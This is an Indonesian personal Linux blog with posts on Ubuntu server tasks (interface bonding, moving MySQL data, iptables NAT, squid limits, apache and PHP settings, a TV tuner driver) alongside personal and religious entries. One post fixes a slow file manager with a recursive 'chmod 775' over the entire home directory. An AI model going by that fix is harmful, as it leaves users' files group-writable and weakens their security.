Keep Share by a3m-nix

Menunggu Release Ubuntu 12.04 LTS

2012-04-04T16:35:00.000-07:00

PrecisePangolin Count Down

Menanti Ubuntu 12.04 a.k.a Precise Pangolin LTS yang kabarny akan terdapat banyak perbaikan dari sisi interface unity nya (walaupun saya sendiri selama ini menggunakan gnome-shell hehee).
Jadwal resmi release pangolin bisa di lihat disini :
https://wiki.ubuntu.com/PrecisePangolin/ReleaseSchedule

Icon Launcher Ubuntu 11.10

2012-03-04T15:01:00.001-08:00

GNU nano 2.2.6 File: /usr/share/applications/sublime.desktop
[Desktop Entry]
Name=sublime
Comment=text editor
Icon=
Exec=/home/a3m-nix/app/sublime/sublime_text
Terminal=false
Type=Application
StartupNotify=false

Contoh PHP Sederhana

2012-02-23T06:25:00.000-08:00

Contoh PHP Sederhana
Contoh 1
Contoh 2

Ubuntu Server Link Aggregation (Bonding Interfaces)

2012-01-07T07:55:00.000-08:00

Akhir-akhir ini saya dan team di NOC di sibukkan dengan reformasi infrastruktur Jaringan serta membangun File Server dan beberapa server intranet lainnya. Dimana dengan topologi jaringan yang baru ini, diharapkan beberapa node jaringan dapat berjalan di lingkungan Gigabit, ya walaupun tidak semua, paling tidak beberapa node bisa merasakan bagaimana nyaman nya menjadi bagian dari keluarga Gigabit :p. Bayangkan, kita bisa melakukan pertukaran data via jaringan dengan troughput 500-700Mbps, tentu lebih nyaman dari copy-copy via flasdisk. :))

Komputer-komputer yang akan dijadikan server pun sebenarnya sudah menggunakan gigabit ethernet, namun dikarenakan ingin mendapatkan performance yang lebih dan rasa penasaran untuk melakukan eksplorasi, akhirnya kesampaianlah niat saya untuk mencoba melakukan bonding interface, dimana bonding ini adalah teknik untuk menggabungkan 2 atau lebih network interfaces card.

Ada beberapa metode yang dapat digunakan untuk melakukan bonding interfaces atau Link Aggregation.
Langsung saja...
Silahkan baca-baca ini, dimana saya sendiri baru mencoba mode 0.

Bonding Modes
You can bond your interfaces in a variety of modes, depending on your hardware capabilities, as follows:
mode=0 (balance-rr)
Round-robin policy: Transmit packets in sequential order from the first available slave through the last. This mode provides load balancing and fault tolerance.
mode=1 (active-backup)
Active-backup policy: Only one slave in the bond is active. A different slave becomes active if, and only if, the active slave fails. The bond's MAC address is externally visible on only one port (network adapter) to avoid confusing the switch. This mode provides fault tolerance. The primary option affects the behavior of this mode.
mode=2 (balance-xor)
XOR policy: Transmit based on [(source MAC address XOR'd with destination MAC address) modulo slave count]. This selects the same slave for each destination MAC address. This mode provides load balancing and fault tolerance.
mode=3 (broadcast)
Broadcast policy: transmits everything on all slave interfaces. This mode provides fault tolerance.
mode=4 (802.3ad)
IEEE 802.3ad Dynamic link aggregation. Creates aggregation groups that share the same speed and duplex settings. Utilizes all slaves in the active aggregator according to the 802.3ad specification.
Pre-requisites:
Ethtool support in the base drivers for retrieving the speed and duplex of each slave.
A switch that supports IEEE 802.3ad Dynamic link aggregation. Most switches will require some type of configuration to enable 802.3ad mode.
mode=5 (balance-tlb)
Adaptive transmit load balancing: channel bonding that does not require any special switch support. The outgoing traffic is distributed according to the current load (computed relative to the speed) on each slave. Incoming traffic is received by the current slave. If the receiving slave fails, another slave takes over the MAC address of the failed receiving slave.
Prerequisite: Ethtool support in the base drivers for retrieving the speed of each slave.
mode=6 (balance-alb)
Adaptive load balancing: includes balance-tlb plus receive load balancing (rlb) for IPV4 traffic, and does not require any special switch support. The receive load balancing is achieved by ARP negotiation. The bonding driver intercepts the ARP Replies sent by the local system on their way out and overwrites the source hardware address with the unique hardware address of one of the slaves in the bond such that different peers use different hardware addresses for the server.

Untuk percobaan, saya melakukan bonding mode 0 dengan menggunakan 2 fast ethernet, yaitu eth1 dan eth2 (Indah sekali jika dilakukan dengan 2 gigabit ethernet) :D

Install ifenslave
# apt-get install ifenslave
buat dan edit file ini :

# nano /etc/modprobe.d/bonding.conf

isikan seperti ini :

alias bond0 bonding
options bonding mode=0 miimon=100

Lalu buat interface bond0 dengan konfigurasi dibawah ini :

# nano /etc/network/interfaces

dan isikan seperti ini :

auto bond0
iface bond0 inet dhcp
bond-slaves eth1 eth2

auto eth1
iface eth1 inet manual
auto eth2
iface eth2 inet manual

Silahkan sesusikan jika anda menggunakan IP Address static.
lalu restart services networking atau reboot komputernya.
Lakukan pengecekkan, :

root@noc-nix:~# cat /proc/net/bonding/bond0
Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
Bonding Mode: load balancing (round-robin)
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 0
Down Delay (ms): 0
Slave Interface: eth1
MII Status: up
Speed: 100 Mbps
Duplex: full
Link Failure Count: 0
Permanent HW addr: 00:1e:90:80:b6:cc
Slave queue ID: 0
Slave Interface: eth2
MII Status: up
Speed: 100 Mbps
Duplex: full
Link Failure Count: 1
Permanent HW addr: 00:50:ba:8c:37:97
Slave queue ID: 0
root@noc-nix:~#

Percobaan Download:

Selanjutnya mesti bonding-bonding di keluarga bsd, keep share... :D

Nautilus too slow

2012-01-02T07:24:00.000-08:00

Inilah keyword yang selalu mengganggu saya selama beberapa bulan ini, yapz, nautilus terlalu lambat membuka folder home, Documents dan folder lainnya di ubuntu 11.10 also know as oneiric.

Sudah banyak sekali artikel yang saya cari di google hingga pada akhirnya saya tertuju pada permission dan owner file. Ada apa dengan permission atau yang kita dengan chmod dan chown ?

Pada Linux ubuntu yang ada laptop saya, saya memisahkan antara partisi root directory (/) dan home directory (/home) dengan tujuan semua file-file data baik kerjaan maupun lain-lainnya saya simpan di /home/user/ dan tidak ikut terformat ketika saya ingin melakukan fresh install. Jadi saya cukup memformat partisi untuk root (/) saja.

Yang jadi permasalahan, saya tidak melihat permission dan owner folder ataupun file yang ada pada folder /home/user/.
dan Setelah saya cek (entah kenapa malam ini kepikiran) ternyata ada cukup banyak owner maupun group pada folder ataupun file-file tersebut berubah menjadi postgres. ??? kenapa postgres ?? kan seharusnya a3m-nix karena file atau folder ini terdapat di folder milik user a3m-nix.

Dan entah dari mana saya kepikiran bahwa inilah mungkin yang membuat nautilus cukup sulit untuk membaca file-file ini sehingga menyebabkan nautilus menjadi cukup lama membuka folder. Mungkin saja nautilus mencoba membaca file atau folder ini dan ternyata nautilus tidak memiliki akses (terlihat loading dan count yang dilakukan nautilus terlalu lama.

Dan akhirnya, saya putuskan untuk merubah semua owner maupun group menjadi user saya yaitu a3m-nix.

$ sudo chown a3m-nix.a3m-nix /home/a3m-nix/ -R
lalu saya juga memberika hak akses untuk folder dan file tersebut .
$ sudo chmod 775 /home/a3m-nix/ -R

Dan setelah relogin, akhirnya nautlis menampakkan wujud aslinya. tidak ada too slow lagi meskipun membuka folder di /usb/sbin/

Happy Linux... :)

Berbagi Aplikasi di Linux Ubuntu

2011-12-25T07:47:00.000-08:00

Cara berbagi aplikasi/program di Linux Ubuntu
Jadi teringat waktu pake os windows, dimana terasa nyaman sekali berbagi software dengan
cara offline, tinggal copas via flashdisk trus jalankan.

Lalu apakah di linux ubuntu (selanjutnya saya sebut ubuntu ini linux saja) juga bisa ?
Saya tidak tau apakah tulisan ini jawabannya tapi paling tidak cara ini membuat saya lebih
mudah.

Dari yang saya tau, setiap kali kita menginstall program dari repository online di internet maka linux akan menyimpan file tersebut di /var/cache/apt/archives/ nah sekarang bayangkan klo program-program yang kita install sudah cukup banyak dan kita harus melakukan reinstall pada linux kita, tentu akan menghabiskan waktu yang cukup lama karena harus mendownload ulang dari repository online, apalagi dengan kecepatan 64kbps :D

Dari cara yang sering saya lakukan, sebelum saya melakukan install ulang linux, saya selalu melakukan backup semua file yang ada di /var/cache/apt/archives/ ke folder home lalu saya paste kan kembali di tempat yang sama pada linux yang baru di install, jadi ketika ingin menginstall program-program yang sama, maka linux tidak perlu ke internet (cara ini hanya saya gunakan pada distro dan turunan yang sama).

Sebelum anda mulai menginstall, backup dulu program-program atau aplikasi yang lama

a3m-nix@f0r-mint:~$ sudo cp /var/cache/apt/archives/ /home/a3m-nix/ -R (sesuaikan dengan nama user anda).

Setelah melakukan install ulang, kembalikan lagi folder archives beserta isi-isinya yang sudah kita backup di /home/nama-user-anda/ tadi.

a3m-nix@f0r-mint:~$ sudo cp /home/a3m-nix/archives/ /var/cache/apt/ -R (sesuaikan dengan nama user anda).

dan selanjutnya seperti biasa,

$ sudo apt-get update

dan silahkan instal program-program seperti biasa.
Jika anda menginstall melalui terminal, lihat bagian ini sebelum konfirmasi yes.
Need to get 0 B/132 kB of archives.

Berarti linux tidak akan melakukan download dari internet (get 0 B) karena programnya sudah ada di folder cache apt.
Dan setelah itu anda juga bisa berbagi aplikasi tersebut dengan sesama teman pengguna linux. Tinggal di copy kan ke flashdisk folder archives tadi lalu paste kan di /var/cache/apt/ jadi tidak perlu repot-repot mendownload dari internet.

Sebenarnya bisa saja tidak mengcopy semua file program, tapi ada permasalahan dependencies dimana ada ketergantungan sebuah program dengan program-program maupun library lain.
Happy Linux... :)

Menggunakan Printer Scanner Canon P150 di Ubuntu 11.10

2011-11-29T21:33:00.000-08:00

Semenjak menggunakan laptop di linux ubuntu, saya hampir tidak pernah bergelut di dunia hardware maupun driver seperti compile driver manual dan lain-lainnya.
Yah paling hanya install laptop trus install driver VGA menggunakan Additional Drivers dan beres, paling jauh juga install driver printer canon 1880 dan epson C90 itu pun caranya cukup mudah, karena sudah ada paket .deb nya, jadi tinggal klik atau install via terminal sudo dpkg-i namasoftware.deb dan selesai dan di internet sudah banyak referensi-referensi tentang printer-printer yang umum digunakan ini.

Nah, hari ini saya sempat mencoba menggunakan Printer Scanner Canon P150 di ubuntu 11.10 a.k.a oneiric ocelot. Dan ternyata cukup mudah juga.
Sebelum menginstall driver, pastikan dulu kernel mengenal dengan baik peralatannya.

Dan seperti biasa, karena Printer Scanner ini menggunakan usb, maka hal pertama yang harus dilakukan adalah mengetikkan perintah lsusb.

a3m-nix@f0r-e4ch:~$ lsusb

Jika merk printer sudah terlihat, canon inc bla..bla.. maka sudah aman :D

Di website resmi canon juga sudah di sediakan driver untuk linux, baik untuk keluarga deb maupun rpm, hanya saja yang menjadi masalah, services saned (untuk menjalankan scanner) pada ubuntu 11.10 tidak di aktifkan secara default.

Untuk mengaktifkannya tinggal mengedit file berikut :

a3m-nix@f0r-e4ch:~$ sudo nano /etc/default/saned
# Defaults for the saned initscript, from sane-utils
# Set to yes to start saned
RUN=no
# Set to the user saned should run as
RUN_AS_USER=saned

Ubah RUN = no menjadi RUN = yes lalu jalankan services saned di /etc/init.d/saned

a3m-nix@f0r-e4ch:~$ sudo /etc/init.d/saned start

Dan scanner pun sudah bisa digunakan.
Beberapa perintah di terminal yang berhubungan dengan scanner antara lain :

a3m-nix@f0r-e4ch:~$ sane-find-scanner
Untuk menemukan printer scanner yang terhubung ke linux nya (printer scanner harus dalam kondisi On)

a3m-nix@f0r-e4ch:~$ scanimage -L
Untuk melihat daftar devices scanner yang terkoneksi ke linux.

a3m-nix@f0r-e4ch:~$ scanimage -T
Untuk melakukan testing scanner

Program scanner berbasis GUI yaitu Simple Scan, silahkan di cari melalui menu gnome-shell. cara menggunakannya pun cukup mudah.

Sayang sekali saya lupa melakukan printscreen jadi tidak bisa menampilkan hasilnya dengan gambar, maybe for the next time :D.

Akhirnya di Wisuda Juga (Review)

2011-10-28T09:00:00.000-07:00

Jambi, 27 Oktober 2011 Dari STIKOM-DB JAMBI ke Ratu Convention Center :
Akhirnya saya di wisuda juga.
Banyak hal yang tidak bisa saya ingat lagi pada masa-masa kuliah dan tentu lebih banyak lagi yang tidak bisa saya lupakan. :)) :))

"Ketika anda memutuskan untuk memulai sesuatu maka anda juga lah yang harus mengakhirinya."

Sedikit review agar kita dapat lebih mensyukuri nikmat yang telah diberikan NYA :

Mulai dari (...) dan N-Gage trus mengenal Aplikasi HP (symbian) (thanks firman oukup), lalu mengenal internet (thanks mas toni & joni hardi). dan waktu telah membawa saya menjadi teknisi door to door dan memberikan saya cukup banyak pengalaman khususnya seputar troubleshoot (thanks agus bron).

Dan yang paling menyenangkan Web Programming PHP + MySql, saya berkesempatan mengenal orang-orang yang menurut saya luar biasa (Special thanks to Joni14jbi, Agus stmik, Yuni lestiana, pak Mauladi).

Tak lupa sebelumnya ada Logic Community yang akhirnya sempat berjalan beberapa waktu bersama IPTEK STMIK Nurdin Hamzah menjadi Loteks a.k.a Logic Iptek yang juga membuat saya sempat mampir di dunia SQL Injection, PHP Shell, Backdoor2an, zombie2an di IRC, Wireless hacking, Network Sniffing, DDOS, Middle attack (thanks clay, fery, ianseventh, evan, areef dharma, arianto, pak iwan, bang thamrin STMIK).

Ngumpul bareng setiap malam di prima citra komputer memberikan saya banyak waktu untuk belajar dan mengenal satu sama lain, thanks to iwan petak, mbak ajek, tonggek, tomhenk, manofer, iyal.
dan FORKOM (Forum STIKOM-DB Jambi) juga sangat menyenangkan bersama om kuncoro, bang jef, pak beni + respon dari pak budi dan teman-teman di stikom lainnya walaupun forumnya sudah tiada namun saat ini masih saya usahakan untuk dibangun kembali.

Dari jambi sampai dharmasraya, hingga bengkulu hanya untuk mencari ilmu dan berkarung-karung beras tentunya (joni hardi) :)) :)), sempat juga mampir ke tebo untuk mencari bersuap-suap nasi :)) :)), inilah yang membuat kuliah saya bertambah lama hahaa...

lalu Logic Community ber-evolusi menjadi Logic Evolution (thanks to agus bron, surya dp) dan menjadi teknisi warnet to warnet, yang sebelumnya saya sempat berkenalan dengan Linux Ubuntu Hardy (Desktop), terus menuju Linux Ubuntu Server (Proxy) + Router hingga membimbing saya bertemu teman-teman di Komunitas Linux Jambi (KLJ) sampai pada mengenal Networking (Mikrotik) yang juga menjadi salah satu pembahasan pada tugas akhir saya, thanks a lot bang nunu.

Dimasa-masa terakhir kuliah (Skripsi), akhirnya saya menemukan alasan untuk berlama-lama berada di lingkungan kampus (thanks to kakang dan all crew's KFC).

Dan saya juga sempat beberapa bulan bertengger di NOC Diknas Propinsi Jambi mengurus Mail Server, Proxy Server, DNS Server, Web Server, Mikrotik Hotspot (bang ikhsan, defri) dan hingga pada akhirnya laptop yang saya cintai ini mulai bertingkah (thanks om hendrik).

Ah, semua masih tergambar dengan jelas, bagaimana gilanya proyek-proyek pemerintah mulai dari tidak dapat apa-apa sampai yang didapat hanya lelah dan cerita :)) :)), mulai dari skill berbicara, bagaimana
gilanya mark-up (bukan markup language tentunya hehee) sampai tipu menipu sana sini.

Saat ini saya bekerja di NOC STIKOM-DB Jambi ( with aris) dan saya mendapat || diberi kesempatan untuk mengimplementasikan dan sharing atas apa-apa yang dulu pernah saya pelajari, saya inginkan dan telah saya dapatkan.
Saya mendapat kesempatan untuk mewujudkan apa-apa yang dulu sering saya komentari di kampus heheee..

Yapz, Suatu pengalaman yang luar biasa, dimana saya dapat mengenal banyak orang, mulai dari orang yang benar-benar expert di bidangnya, orang-orang yang memiliki rasa ingin tau yang luar biasa, sampai pada orang-orang yang you know la bagaimana mindset nya sekedar exist saja.

Ah, tulisan ini bukan akhir dari perjalanan saya, namun saya berharap tulisan ini menjadi awal yang baru bagi saya untuk lebih giat lagi mempelajari dan memahami apa-apa yang saya inginkan, what you want is what you get. :D
Mudah-mudahan ini menjadi awal yang baik bagi saya untuk terus belajar dan terus belajar, juga tentu berbagi atas apa-apa yang telah saya pelajari :)

Melalui tulisan ini juga saya ingin memberikan apresiasi yang begitu sangatnya pada orang-orang yang telah banyak membantu saya memahami sesuatu dan tentu saya tidak akan melupakan semua yang telah saya pelajari dari mereka baik yang namanya tertulis di blog ini ataupun yang tidak, yah paling tidak ada sebagian nama-nama mereka terukir di blog saya yang sederhana ini untuk bisa saya ingat di hari tua (jika umur panjang) hehee.. :D
Dan jika ada yang lebih berhak dari sekedar ucapan thanks to tentu mereka adalah keluarga saya :)

Menunggu Ubuntu 11.10 Oneiric ocelot

2011-10-01T21:11:00.000-07:00

Mengubah Folder Data MySql di Ubuntu Server

2011-09-23T10:31:00.000-07:00

Setelah berkali-kali dihadapkan pada masalah yang sama (lupa backup), akhirnya saya memindahkan folder data mysql yang sebelumnya saya juga telah memindahkan root directory apache baik pada laptop saya yang sudah sekarat maupun pada beberapa server yang saya bangun menggunakan linux.

Folder data mysql secara default terletak di /var/lib/mysql/ dan memang seharusnya /var ini di beri partisi khusus dengan space yang lumayan besar karena isinya (variable) terkait dengan data-data yang bersifat dinamis, namun entah kenapa dan tak tau alasannya saya masih saja tetap menggabungkannya dengan partisi root /.

Okeh, langsung saja, saya akan memindahkan folder data mysql ke /home/mysql-data/

Membuat folder baru mysql di /home/

# mkdir /home/mysql-data

Copy semua data mysql di /var/lib/mysql/

# cp /var/lib/mysql/* /home/mysql-data -R

Ubah owner dan permission folder mysql yang baru

# chown mysql:mysql /home/mysql-data/ -R
# chmod 700 /home/mysql-data/ -R

Hentikan proses mysql

# /etc/init.d/mysql stop

Edit file my.cnf (pastikan kamu sudah membackup terlebih dahulu file-file yang akan di edit)

# nano /etc/mysql/my.cnf

cari baris datadir, lalu ubah isinya sesuai folder yang baru :

datadir = /home/mysql-data

simpan file tersebut.
lalu edit file berikut :

# nano /etc/apparmor.d/usr.sbin.mysqld

ada 2 baris yang mendefinisikan path mysql ( /var/lib/mysql ), lalu ubah ke folder baru.

/home/mysql-data/ r,
/home/mysql-data/** rwk,

dan simpan file tersebut.
restart apparmor dan jalankan kembali mysql

# /etc/init.d/apparmor restart
# /etc/init.d/mysql start

Okeh, sampai tahap ini seharusnya folder data mysql sudah berpindah di /home/mysql-data/. Dan seperti biasa, jika mysql tidak bisa di akses (error) silahkan lihat log

# tail -f /var/log/syslog

dan jika error masih berlanjut, hubungi google :D

sedikit tambahan untuk yang belum tau :
opsi -R berarti recursive yaitu perintah yang dilakukan akan menyertakan sub foldernya, pada perintah cp berarti folder di copy bersama sub folder pada chown maupun chmod berarti hak akses akan diberikan untuk sub folder maupun file yang terdapat pada sub folder.

tanda # berarti dalam posisi root (full akses)

Keep share...

Lanmap Network mapping di ubuntu 10.10

2011-09-11T18:58:00.000-07:00

Menghilangkan kejenuhan karena terus menerus harus berurusan dengan koding PHP akhirnya saya beralih lagi ke terminal :)).
Dan belakangan ini saya sangat membutuhkan aplikasi-aplikasi yang bisa memudahkan saya dalam melakukan mapping network dan google pun kembali menjadi tempat bertanya yang luar biasa :D.
Dari beberapa referensi yang saya dapat, lanmap salah satu tools yang dapat saya gunakan, Ok, let's share...

Lanmap, tools yang baru-baru ini saya coba di ubuntu 10.10 meskipun dari beberapa referensi yang saya dapat tools ini hanya sampai ubuntu 8.04, artinya dukungan untuk versi diatasnya tidak ada lagi.
Lanmap cukup membantu saya dalam melakukan network mapping dan outputnya pun berupa gambar.
Install paket pendukungnya

$ sudo apt-get install libpcap-dev libsqlite3-dev gcc graphviz php5-cli php5-sqlite sqlite3

Download aplikasinya disini

Lalu install seperti biasa

$ sudo dpkg -i lanmap_0.1+svn20060307-2ubuntu1_i386.deb

Jalankan dengan perintah

$ sudo lanmap -i eth0 -r 10 -T png -o /home/www/

Setelah menunggu beberapa detik lihat hasilnya di /home/www/ dengan nama file lanmap.png

dan seperti biasa lagi, untuk melihat apa saja yang bisa dilakukan dengan lanmap, gunakan opsi -h

Sekedar tambahan, dalam mendeteksi host sepertinya lanmap memanfaatkan paket tcp syn, dan paket ini terkadang di blok di router untuk alasan keamanan karena proses scanning juga memanfaatkan paket ini cmiiw...

1 Syawal 1432 Hijriyah

2011-08-30T05:18:00.000-07:00

Selamat tinggal ramadhan...

Semoga allah mempertemukan kita kembali di ramadhan tahun depan dengan keimanan yang lebih baik...

Selamat tinggal yaa ramadhan, bulan berkah, penuh rahmat dan ampunan..

1 Syawal 1432 Hijriyah

Aku masih sangat merindukan engkau.... Semoga Allah mengasihi engkau sebagaimana engkau mengasihi aku...

Taqobalallahu minna wa minkum...

TV Tuner Avermedia Volar Go A833 USB di Ubuntu 10.10

2011-08-24T09:29:00.000-07:00

Perjalanan saya dalam pencarian tv tuner di linux akhirnya berakhir di avertv volar go usb (tentu saya tidak mau semuanya berakhir di wenduws :p )

Sejak dibelinya laptop ini (kira-kira 2 tahun yang lalu) saya mulai mencari-cari tv tuner usb yang bisa running di linux.

Pertama saya beli tv tuner usb merk advance, lupa serinya, yang jelas tanpa melakukan patch sana sini, linux ubuntu langsung mengenal dengan baik, hanya saja tanpa suara :( saya sudah googling sana sini, melakukan patch kernel, bahkan recompile tetap saja nihil.

Trauma dengan kejadian tersebut, akhirnya saya mencari referensi terlebih dahulu sebelum membeli.

Dari referensi by google, saya menemukan tv tuner gadmei utv 330 untuk linux, beberapa rekan di ubuntu ternyata sudah sukses dan berjalan dengan baik.

lalu saya putuskan untuk membeli merk tersebut meskipun harus pesan via sepupu di bandung.

Namun linux masih mencoba saya, ternyata chipset gadmei yang saya beli berbeda.

Googling lagi, patch lagi bahkan report ke develop namun ternyata belum ketemu solusi.

Yah, jadi jarang nonton, kalau ada siaran bagus atau lagi bosen liatin koding terpaksa ziarah ke wenduws :(

Hingga pada akhirnya diawal ramadhan saya memutuskan untuk membeli Avermedia AverTV Volar HD DVB-T USB, lalu menginstall driver binary dari website resmi avermedia

alhasil kernel linux mendetekasi dengan baik tv tuner usb tersebut hanya saja saya perlu menginjek kabel LAN dari rumah bibi yang pake tv digital, ah cukup merepotkan, maybe next time .. (Dasar katrok, ternyata saya tidak tau kalo itu hanya untuk siaran digitalhiks..hiks..)

Perjalanan belum berakhir hingga akhirnya saya menemukan avertv volar go usb.

yapz, saya pesan lagi merk tersebut via website, dan tentu dengan penuh harapan agar running well di linux ubuntu 10.10 tercinta ini.

Begitu plug device, ternyata kernel hanya mendeteksi tv tuner usb sebagai usb device, agak sedikit panik sih hehee...

ok, langsung saja

download driver di website resmi avermedia

# wget http://www.avermedia.com/avertv/Upload/Download/A833_LinuxDrv_x86_V1.0.28-beta_OEM.tar.gz

extract driver tersebut

# tar -xzf A833_LinuxDrv_x86_V1.0.28-beta_OEM.tar.gz
# cd C039_LinuxDrv_x86_V1.0.28-beta_OEM/

lalu install

# ./C039_LinuxDrv_x86_V1.0.28-beta_Install_OEM.sh

Cabut dan pasang lagi usb tv tuner, dan liat log via dmesg

# dmesg
[10739.333642] ifnum = 0. return 0
[10739.335488] ifnum = 1. return 0
[10739.337374] ifnum = 2. skip interface return ENODEV
[10739.339241] ifnum = 3. skip interface return ENODEV
[10739.341259] ifnum = 4. skip interface return ENODEV
[10739.343864] ifnum = 5. skip interface return ENODEV
[10739.479844] cx25840 1-0044: cx23102 A/V decoder found @ 0x88 (cx231xx #0)
[10739.483153] cx25840 1-0044: Firmware download size changed to 16 bytes max length
[10740.515759] cx25840 1-0044: loaded v4l-cx231xx-avcore-01.fw firmware (16382 bytes)
[10740.540372] Chip ID is not zero. It is not a TEA5767
[10740.540835] tuner 3-0060: chip found @ 0xc0 (cx231xx #0)
[10740.541255] tda18271 3-0060: creating new instance
[10740.542137] TDA18271HD/C2 detected @ 3-0060
[10741.001298] tda18271: performing RF tracking filter calibration
[10742.529150] tda18271: RF tracking filter calibration complete

Yeeehaaaaaa, kernel sudah mengenal dengan baik tv tunernya...

# lsusb
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 002: ID 1bcf:0007 Sunplus Innovation Technology Inc. Optical Mouse
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 002 Device 004: ID 07ca:0833 AVerMedia Technologies, Inc.
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 064e:a103 Suyin Corp.
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Sekarang lakukan scan siaran tv menggunakan tvtime seperti biasa, install dulu jika belum ada

# apt-get install tvtime

Ok, channel siaran udah dapat dan Masalah yang kemudian muncul adalah tv tuner masih membisu.

Setelah googling sana sini, akhirnya saya menemukan sedikit solusi, edit file berikut :

# nano /etc/pulse/default.pa

tambahkan baris ini di paling bawah :

#set-default-sink output
#set-default-source input
load-module module-loopback

restart pulse audio

$ pulseaudio -k

Seeep, tv tuner udah siap di pake menggantikan music-music yang cukup membosankan :)) :))

NB:

# berarti dalam posisi root
$ user biasa

Limit video streaming dengan squid

2011-08-24T08:38:00.000-07:00

Coba-coba limit video streaming dengan squid proxy.

acl striming urlpath_regex get_video\? videoplayback\? videodownload\?
cache allow striming
delay_pools 1

delay_class 1 2
delay_parameters 1 24000/24000 16000/128000
delay_access 1 allow striming
delay_access 1 deny all

Hasilnya :

NAT, Transparant Proxy dan mark paket dengan iptables

2011-08-24T08:24:00.000-07:00

Catatan singkat untuk hari tua.... :))
NAT, Transparent Proxy serta Menandai paket dengan iptables (ssh)

#!bin/bash
iptables -F
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth1 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128

iptables -t mangle -A OUTPUT -m tos --tos Maximize-Reliability -j MARK --set-mark 0x4
iptables -t mangle -A OUTPUT -m tos --tos 0x4 -j MARK --set-mark 0x4
iptables -t mangle -A FORWARD -m tos --tos 0x4 -j MARK --set-mark 0x4
iptables -t mangle -A POSTROUTING -m tos --tos 0x4 -j MARK --set-mark 0x4

iptables -t mangle -A PREROUTING -p tcp --dport 22 -j MARK --set-mark 0x2
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j RETURN

iptables -t mangle -A PREROUTING -p icmp -j MARK --set-mark 0x3
iptables -t mangle -A PREROUTING -p icmp -j RETURN

iptables -t mangle -A PREROUTING -p udp --dport 53 -j MARK --set-mark 0x4
iptables -t mangle -A PREROUTING -p udp --dport 53 -j RETURN

Ramadhan ini

2011-08-22T14:30:00.000-07:00

Mencari berkah di malam-malam terakhir yang penuh rahmat dan ampunan...

يَا رَسُولَ اللَّهِ أَرَأَيْتَ إِنْ عَلِمْتُ أَىُّ لَيْلَةٍ لَيْلَةُ الْقَدْرِ مَا أَقُولُ فِيهَا قَالَ « قُولِى اللَّهُمَّ إِنَّكَ عَفُوٌّ تُحِبُّ الْعَفْوَ فَاعْفُ عَنِّى

”Wahai Rasulullah, apa pendapatmu jika aku mengetahui suatu malam adalah lailatul qadar. Apa yang mesti aku ucapkan saat itu?” Beliau menjawab, ”Katakanlah: ‘Allahumma innaka ‘afuwwun tuhibbul ‘afwa fa’fu anni’ (Ya Allah sesungguhnya Engkau Maha Pemaaf yang menyukai permintaan maaf, maafkanlah aku).” (HR. Tirmidzi no. 3513, Ibnu Majah no. 3850, dan Ahmad 6/171, shahih)

Marhaban Ya Ramadhan

2011-07-31T07:51:00.000-07:00

Marhaban ya Ramadhan, saya benar-benar merindukanmu....

Setelah menginstall apache2 dan php

2011-07-22T19:17:00.000-07:00

Karena tulisan ini singkat, tentu ditujukan untuk para pemula di linux.

Secara default apache tidak mengaktifkan modul rewrite, sehingga bagi yang menggunakan htaccess untuk url_rewrite akan berdampak seperti ini di browser:

Internal Server ErrorThe server encountered an internal error or misconfiguration and was unable to complete your request.
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, a3m.nix@gmail.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Apache/2.2.14 (Ubuntu) Server at noc.stikom-db.net Port 80

Hal ini dapat terjadi jika mengaktifkan url_rewrite di cms-cms seperti joomla dll.Untuk mengaktifkan mod_rewrite di apache cukup dengan perintah ini :

# a2enmod rewrite

setelah itu restart services apache2

# /etc/init.d/apache2 restart

Ok, sekarang mod_rewrite sudah aktif, silahkan cek menggunakan phpinfo()

Selanjutkan laporan error di browser,Pada tahap membangun aplikasi, error reporting menjadi begitu sangat penting karena dengan error lah kita tau kode pada baris-baris berapa yang bermasalah.

By defult, php tidak akan menampilkan error-error tersebut, tentu ini untuk alasan keamanan.Untuk mengaktifkan (menampilkan error tersebut), edit file php.ini, silahkan menggunakan editor kesayangan anda:

# nano /etc/php5/apache2/php.ini

cari baris display_errors dan edit menjadi On

display_errors = On

cari baris error_reporting dan edit menjadi seperti ini :

error_reporting = E_ALL | E_STRICT

simpan dan restart services apache2

# /etc/init.d/apache2 restart

Ok, error sudah muncul, silahkan berkoding ria.

Selanjutnya maksimal file upload.
By default lagi, php hanya mengizinkan upload file dengan ukuran 2MB (kalau saya tidak salah).
Edit file php.ini dan cari dan edit baris berikut:

upload_max_filesize = 80M

Selanjutnya edit juga file upload via request agar bisa melakukan request lebih besar.

max_file_uploads = 80

Oke, selamat berkoding ria...
NB: Konfigurasi php seperti diatas tentu hanya ditujukan untuk developer dan bukan untuk membangun webserver sungguhan, karena pada webserver publik tentu display_error dan lain-lain harus dimatikan untuk alasan keamanan.

Virtual Host Apache2 di Ubuntu

2011-07-05T01:46:00.000-07:00

Sekedar pengingat untuk di hari tua :D

# nano /etc/apache2/sites-available/cacti

ServerAdmin a3m.nix@gmail.com
ServerName cacti.stikom-db.net
ServerAlias www.cacti.stikom-db.net
DocumentRoot /home/cacti
ErrorLog /var/log/apache2/error-website.log
CustomLog /var/log/apache2/access-website.log combined

Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all

Enable vhost :

# a2ensite cacti

Disable vhost

# a2dissite cacti

Reload Services

## /etc/init.d/apache2 restart

Wireless mode master (infrastruktur) di linux

2011-06-18T09:09:00.000-07:00

Membuat jaringan wireless adhoc di linux tentu sudah sangat lumrah dan mudah, dengan menggunakan network manager barangkali tidak sampai 2 menit sudah bisa diselesaikan dengan damai :D

